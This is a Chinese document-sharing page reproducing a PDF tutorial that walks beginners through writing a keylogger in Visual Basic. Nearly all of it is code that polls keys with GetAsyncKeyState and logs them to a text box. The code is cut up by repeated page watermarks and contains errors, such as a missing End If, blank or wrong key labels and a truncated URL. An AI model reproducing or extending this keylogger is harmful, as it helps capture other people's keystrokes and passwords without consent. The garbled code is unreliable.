2022年2022年键盘记录器 .pdf

上传人：Che****ry

文档编号：34878129

上传时间：2022-08-19

格式：PDF

页数：11

大小：57.65KB

( 4.5 )

《2022年2022年键盘记录器 .pdf》由会员分享，可在线阅读，更多相关《2022年2022年键盘记录器 .pdf（11页珍藏版）》请在淘文阁 - 分享文档赚钱的网站上搜索。

1、前几天写了一篇键盘记录器，好多人反映看不懂，对新人没什么用处，所以且这篇我会写的很详细，再也不像那篇，出了代码什么也没! 这个程序将会详细的讲解如何记载键盘的每一次输入。下面介绍的这个程序主要是利用GetAsyncKeyState函数，使用 GetAsyncKeyState可以获得键盘的动作。GetAsyncKeyState函数根据虚拟键表判断按键的类型。返回值为一个 16 位的二进值数，如果被按下则最高位为1，即返回 -32767。下面是 API 函数及鼠标中左右键在虚拟键表中的定义：Private Declare Function GetAsyncKeyState Lib user32 (

2、ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了first,当然是创建窗口了在时间控件的 Timer 时间中定义检查按键类型，代码如下：Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键If KeyResult = -32767 Then AddKey = ENTER GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl 键If KeyResult = -32767 Then AddKey = CTRL GoT

3、o KeyFound End If KeyResult = GetAsyncKeyState(8) '退格键If KeyResult = -32767 Then AddKey = BKSPACE GoTo KeyFound End If KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = TAB GoTo KeyFound End If KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = ALT GoTo KeyFou

4、nd 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页，共 11 页 - - - - - - - - - End If KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then AddKey = PAUSE GoTo KeyFound End If KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = CAPS GoTo KeyFou

5、nd End If KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = ESC GoTo KeyFound End If KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = PGUP GoTo KeyFound End If KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = PGDN GoTo KeyFound End If KeyRes

6、ult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = END GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = HOME GoTo KeyFound End If 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页，共 11 页 - - - - - - - - - KeyResul

7、t = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = SYSRQ GoTo KeyFound End If KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = INS GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = DEL GoTo KeyFound End If KeyResult = GetAsyncKeyS

8、tate(144) If KeyResult = -32767 Then AddKey = NUM GoTo KeyFound End If KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = LEFT GoTo KeyFound End If KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = UP GoTo KeyFound End If KeyResult = GetAsyncKeyState(39) If KeyRe

9、sult = -32767 Then AddKey = RIGHT GoTo KeyFound End If KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页，共 11 页 - - - - - - - - - AddKey = DOWN GoTo KeyFound End If KeyResult = GetAsyncKeyState(112) If KeyR

10、esult = -32767 Then AddKey = F1 GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = F2 GoTo KeyFound End If KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = F3 GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 The

11、n AddKey = F4 GoTo KeyFound End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = F5 GoTo KeyFound End If KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = F6 GoTo KeyFound End If KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then 名师资料总结 - - -精品资料

12、欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页，共 11 页 - - - - - - - - - AddKey = F7 GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = F8 GoTo KeyFound End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = F9 GoTo Ke

13、yFound End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = F10 GoTo KeyFound End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = F11 GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = F12 GoTo KeyFound End If K

14、eyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = F13 GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = F14 GoTo KeyFound 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 5 页，共 11 页 - - - - - - - - - End If Ke

15、yResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = F15 GoTo KeyFound End If KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = F16 GoTo KeyFound End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = GoTo KeyFound End If KeyResult = GetAsyncKe

16、yState(186) If KeyResult = -32767 Then AddKey = ; GoTo KeyFound End If KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then AddKey = = GoTo KeyFound End If KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = , GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) If KeyRes

17、ult = -32767 Then AddKey = - GoTo KeyFound End If 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 6 页，共 11 页 - - - - - - - - - KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = . GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) If KeyResult =

18、 -32767 Then AddKey = / '/ GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = ' GoTo KeyFound End If '-NUM PAD KeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then AddKey = 0 GoTo KeyFound End If KeyResult = GetAsyncKeyState(97) If KeyResult

19、 = -32767 Then AddKey = 1 GoTo KeyFound End If KeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = 2 GoTo KeyFound End If KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = 3 GoTo KeyFound 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - -

20、- 第 7 页，共 11 页 - - - - - - - - - End If KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = 4 GoTo KeyFound End If KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = 5 GoTo KeyFound End If KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = 6 Go

21、To KeyFound End If KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = 7 GoTo KeyFound End If KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = 8 GoTo KeyFound End If KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = 9 GoTo KeyFound End If Ke

22、yResult = GetAsyncKeyState(106) If KeyResult = -32767 Then 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 8 页，共 11 页 - - - - - - - - - AddKey = * GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = + GoTo KeyFound End If KeyResu

23、lt = GetAsyncKeyState(108) If KeyResult = -32767 Then AddKey = ENTER GoTo KeyFound End If KeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = - GoTo KeyFound End If KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = . GoTo KeyFound End If KeyResult = GetAsyncKeyS

24、tate(2) If KeyResult = -32767 Then AddKey = / GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then AddKey = GoTo KeyFound End If KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then AddKey = ' GoTo KeyFound 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - -

25、 - - 名师精心整理 - - - - - - - 第 9 页，共 11 页 - - - - - - - - - End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = GoTo KeyFound End If KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = GoTo KeyFound End If KeyResult = GetAsyncKeyState(16) 'shift 键If KeyRes

26、ult = -32767 And TimeOut = 0 Then AddKey = SHIFT LastKey = AddKey TimeOut = 1 GoTo KeyFound End If KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 Loop LastKey = AddKey Exit S

27、ub KeyFound: '显示键的信息Text1 = Text1 & AddKey End Sub 上面的（）里面的数字实际是就是那些键的Ascii 码，比如 13 就代表回车， 17代表 Ctrl，由于数目太多，一一列举不方便现提供 Ascii 表一份供对照http:/ Sub Timer2_Timer() 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 10 页，共 11 页 - - - - - - - - - TimeOut = 0 End Sub 目的是随时刷新清空名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 11 页，共 11 页 - - - - - - - - -

文档加载中……请稍候！
如果长时间未打开，您也可以点击刷新试试。

下载文档到电脑，查找使用更方便

4.3 金币

版权申诉 word格式文档无特别注明外均可编辑修改；预览文档经过压缩，下载后原文更清晰！ 立即下载

配套讲稿：: 如PPT文件的首页显示word图标，表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
特殊限制：: 部分文档作品中含有的国旗、国徽等图片，仅作为作品整体效果示例展示，禁止商用。设计者仅对作品中独创性部分享有著作权。
关键词：: 2022年2022年键盘记录器 2022 键盘记录器

淘文阁 - 分享文档赚钱的网站所有资源均是用户自行上传分享，仅供网友学习交流，未经上传用户书面授权，请勿作他用。

限制150内

关于本文

本文标题：2022年2022年键盘记录器 .pdf
链接地址：https://www.taowenge.com/p-34878129.html